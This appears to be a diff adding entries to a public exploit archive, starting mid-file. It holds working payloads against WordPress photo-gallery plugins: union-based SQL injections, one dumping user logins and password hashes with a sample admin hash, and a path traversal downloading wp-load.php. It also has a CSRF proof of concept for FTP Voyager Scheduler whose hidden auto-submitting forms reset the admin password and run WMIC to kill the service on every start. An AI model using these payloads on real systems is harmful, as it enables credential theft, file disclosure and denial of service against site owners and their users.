||||
# Version: 1.0
|
||||
# Tested on: Win7 x64, Kali Linux x64
|
||||
# # # # #
|
||||
# Exploit Author: Ihsan Sencan
|
||||
# Author Web: http://ihsan.net
|
||||
# Author Mail : ihsan[@]ihsan[.]net
|
||||
# # # # #
|
||||
# SQL Injection/Exploit :
|
||||
# http://localhost/[PATH]/?albid=[SQL]
|
||||
# For example;
|
||||
# -3+/*!50000union*/+select+1,2,3,4,5,0x496873616e2053656e63616e20207777772e696873616e2e6e6574,concat(user_login,0x3a,user_pass),8,9,10,11,12,13,14+from+pleasant_users--+-&pid=6
|
||||
# admin:$P$BKL0XND.tfopqZH6S.QU.vhgjuVchx1
|
||||
# Etc..
|
||||
# # # # #
|
||||
18
platforms/php/webapps/41568.txt
Executable file
18
platforms/php/webapps/41568.txt
Executable file
|
|
@ -0,0 +1,18 @@
|
|||
# # # # #
|
||||
# Exploit Title: WordPress Plugin Apptha Slider Gallery v1.0 - Arbitrary File Download
|
||||
# Google Dork: N/A
|
||||
# Date: 09.03.2017
|
||||
# Vendor Homepage: https://www.apptha.com/
|
||||
# Software: https://www.apptha.com/category/extension/Wordpress/apptha-slider-gallery
|
||||
# Demo: http://www.apptha.com/demo/apptha-slider-gallery
|
||||
# Version: 1.0
|
||||
# Tested on: Win7 x64, Kali Linux x64
|
||||
# # # # #
|
||||
# Exploit Author: Ihsan Sencan
|
||||
# Author Web: http://ihsan.net
|
||||
# Author Mail : ihsan[@]ihsan[.]net
|
||||
# # # # #
|
||||
# SQL Injection/Exploit :
|
||||
# http://localhost/[PLUGIN_PATH]/asgallDownload.php?imgname=../../../wp-load.php
|
||||
# Etc..
|
||||
# # # # #
|
||||
21
platforms/php/webapps/41569.txt
Executable file
21
platforms/php/webapps/41569.txt
Executable file
|
|
@ -0,0 +1,21 @@
|
|||
# # # # #
|
||||
# Exploit Title: WordPress Plugin PICA Photo Gallery v1.0 - SQL Injection
|
||||
# Google Dork: N/A
|
||||
# Date: 09.03.2017
|
||||
# Vendor Homepage: https://www.apptha.com/
|
||||
# Software: https://www.apptha.com/category/extension/Wordpress/PICA-Photo-Gallery
|
||||
# Demo: http://www.apptha.com/demo/pica-photo-gallery
|
||||
# Version: 1.0
|
||||
# Tested on: Win7 x64, Kali Linux x64
|
||||
# # # # #
|
||||
# Exploit Author: Ihsan Sencan
|
||||
# Author Web: http://ihsan.net
|
||||
# Author Mail : ihsan[@]ihsan[.]net
|
||||
# # # # #
|
||||
# SQL Injection/Exploit :
|
||||
# http://localhost/[PATH]/?aid=[SQL]
|
||||
# For example;
|
||||
# -3+/*!50000union*/+select+0x496873616e2053656e63616e3c62723e7777772e696873616e2e6e6574,2,3,@@version--+-
|
||||
# wpapptha_term_relationships,wpapptha_term_taxonomy,wpapptha_terms,wpapptha_usermeta,wpapptha_users
|
||||
# Etc..
|
||||
# # # # #
|
||||
115
platforms/xml/webapps/41574.html
Executable file
115
platforms/xml/webapps/41574.html
Executable file
|
|
@ -0,0 +1,115 @@
|
|||
<!--
|
||||
[+] Credits: John Page AKA hyp3rlinx
|
||||
[+] Website: hyp3rlinx.altervista.org
|
||||
[+] Source: http://hyp3rlinx.altervista.org/advisories/FTP-VOYAGER-SCHEDULER-CSRF-REMOTE-CMD-EXECUTION.txt
|
||||
[+] ISR: ApparitionSec
|
||||
|
||||
|
||||
Vendor:
|
||||
==============
|
||||
solarwinds.com
|
||||
www.serv-u.com
|
||||
|
||||
|
||||
Product:
|
||||
====================
|
||||
FTP Voyager Scheduler
|
||||
v16.2.0
|
||||
|
||||
|
||||
Vulnerability Type:
|
||||
=============================
|
||||
CSRF Remote Command Execution
|
||||
|
||||
|
||||
CVE Reference:
|
||||
==============
|
||||
N/A
|
||||
|
||||
|
||||
Security Issue:
|
||||
================
|
||||
Multiple cross site request forgeries exist in the Web Interface side of FTP Voyager Scheduler running on port 52986.
|
||||
Allowing remote attackers to make HTTP requests on behalf of an authenticated user if that user visits a malicious
|
||||
webpage or clicks an attacker supplied link.
|
||||
|
||||
FTP Voyager has a scheduler feature that lets users create tasks/commands to execute on some type of other action like
|
||||
when Directorys are created, files uploaded/downloader, Scheduler starts or stops and so forth. Remote attackers who
|
||||
successfully pull off CSRF exploitation can do things like change the Admin password or cause a persistent Denial of Service
|
||||
by setting the task to terminate "FTP Voyager Scheduler" itself upon startup among other nefarious things.
|
||||
|
||||
|
||||
Exploit/POC:
|
||||
=============
|
||||
|
||||
Default login no password, then set a password in FTP Voyager Scheduler Web interface.
|
||||
|
||||
Upon CSRF the user will get a HTTP Response will be like below, we can prevent user from seeing this message
|
||||
targeting hidden iframe in webpage.
|
||||
|
||||
<response><result>0</result><ResultText>Operation was successful.</ResultText><ObjectID>141175</ObjectID></response>
|
||||
|
||||
|
||||
1) Change Admin passwd
|
||||
-->
|
||||
<iframe name="hideme" style="display:none" ></iframe>
|
||||
|
||||
<form target="hideme" action="http://localhost:52986/Admin/XML/Result.xml?Command=UpdateObject&Object=CScheduler.0.Scheduler.0&StaticOnly=1&Sync=666" method="post">
|
||||
<input type="hidden" name="AdminPassword" value="PWN123">
|
||||
<input type="hidden" name="ConfirmAdminPassword" value="PWN123">
|
||||
<input type="hidden" name="RemoteAdmin" value="1">
|
||||
<input type="hidden" name="RemoteAdminPort" value="52986">
|
||||
<input type="hidden" name="RemoteAdminSSL" value="0">
|
||||
<script>document.forms[0].submit()</script>
|
||||
</form>
|
||||
|
||||
|
||||
2) Persistent Denial Of Service uses call to WMIC
|
||||
|
||||
<form action="http://localhost:52986/Admin/XML/Result.xml?Command=AddObject&Object=CEventAttrs.0.FVSEvent&Sync=666" method="post">
|
||||
<input type="hidden" name="EventName" value="PWN">
|
||||
<input type="hidden" name="Description" value="Run Command!">
|
||||
<input type="hidden" name="Enabled" value="1">
|
||||
<input type="hidden" name="EventID" value="1"> <!-- Run on Scheduler Start event -->
|
||||
<input type="hidden" name="Action" value="2">
|
||||
<input type="hidden" name="multiselect_Action" value="2">
|
||||
<input type="hidden" name="EmailToAddress" value="evil@gods.abyss">
|
||||
<input type="hidden" name="EmailToAddressBCC" value="">
|
||||
<input type="hidden" name="ExeFilePath" value="C:\Windows\System32\wbem\WMIC.exe">
|
||||
<input type="hidden" name="ExecWaitSecs" value="5">
|
||||
<input type="hidden" name="Data1" value="process where name='FTP Voyager Scheduler.exe' call terminate">
|
||||
<input type="hidden" name="Data2" value="&">
|
||||
<script>document.forms[0].submit()</script>
|
||||
</form>
|
||||
|
||||
|
||||
<!--
|
||||
Network Access:
|
||||
===============
|
||||
Remote
|
||||
|
||||
|
||||
Severity:
|
||||
=========
|
||||
High
|
||||
|
||||
|
||||
Disclosure Timeline:
|
||||
=======================================
|
||||
Vendor Notification: November 30, 2016
|
||||
Result: No Reply
|
||||
Second Notification Attempt: March 5, 2017
|
||||
Result:
|
||||
March 9, 2017 : Public Disclosure
|
||||
|
||||
|
||||
[+] Disclaimer
|
||||
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
|
||||
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
|
||||
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
|
||||
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
|
||||
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
|
||||
or exploits by the author or elsewhere. All content (c)
|
||||
|
||||
hyp3rlinx
|
||||
-->
|
||||
Loading…
Add table
Reference in a new issue